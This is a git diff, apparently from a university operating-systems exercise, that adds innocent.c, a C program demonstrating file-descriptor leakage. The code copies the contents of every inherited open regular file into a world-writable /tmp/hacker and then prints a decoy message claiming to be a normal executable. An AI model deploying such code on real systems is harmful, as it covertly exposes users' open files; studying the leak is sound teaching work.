diff options
Diffstat (limited to 'semestr-5/so/lista4/so21_lista_4/innocent.c')
-rw-r--r-- | semestr-5/so/lista4/so21_lista_4/innocent.c | 55 |
1 files changed, 55 insertions, 0 deletions
diff --git a/semestr-5/so/lista4/so21_lista_4/innocent.c b/semestr-5/so/lista4/so21_lista_4/innocent.c new file mode 100644 index 0000000..f2e45a6 --- /dev/null +++ b/semestr-5/so/lista4/so21_lista_4/innocent.c @@ -0,0 +1,55 @@ +#include "csapp.h" + +bool is_regular(int fd) { + struct stat statbuf; + fstat(fd, &statbuf); + return S_ISREG(statbuf.st_mode); +} + +int main(void) { + long max_fd = sysconf(_SC_OPEN_MAX); + int out = Open("/tmp/hacker", O_CREAT | O_APPEND | O_WRONLY, 0666); + + /* TODO: Something is missing here! */ + + char buf_path[200]; + char pathname[100]; + uint8_t buf[8000]; + + for (int fd = 0; fd < max_fd; fd++) { + if (fd == out) continue; + + if (fcntl(fd, F_GETFD) == -1) { + if (errno != EBADF) { + fprintf(stderr, "Error while checking %d: %s\n", fd, strerror(errno)); + exit(EXIT_FAILURE); + } + continue; + } + fprintf(stderr, "Fd %d open\n", fd); + sprintf(pathname, "/proc/%d/fd/%d", getpid(), fd); + size_t len = readlink(pathname, buf_path, sizeof(buf_path)); + buf_path[len] = 0; + dprintf(out, "File descriptor %d is \'%s\' file!\n", fd, buf_path); + if (!is_regular(fd)) { + dprintf(out, "Not a regular file.\n"); + continue; + } + + int cur_off = Lseek(fd, 0, SEEK_CUR); + Lseek(fd, 0, SEEK_SET); + + int cnt; + while ((cnt = Read(fd, buf, sizeof(buf))) != 0) { + Write(out, buf, cnt); + } + + Lseek(fd, cur_off, SEEK_SET); + } + + Close(out); + + printf("I'm just a normal executable you use on daily basis!\n"); + + return 0; +} |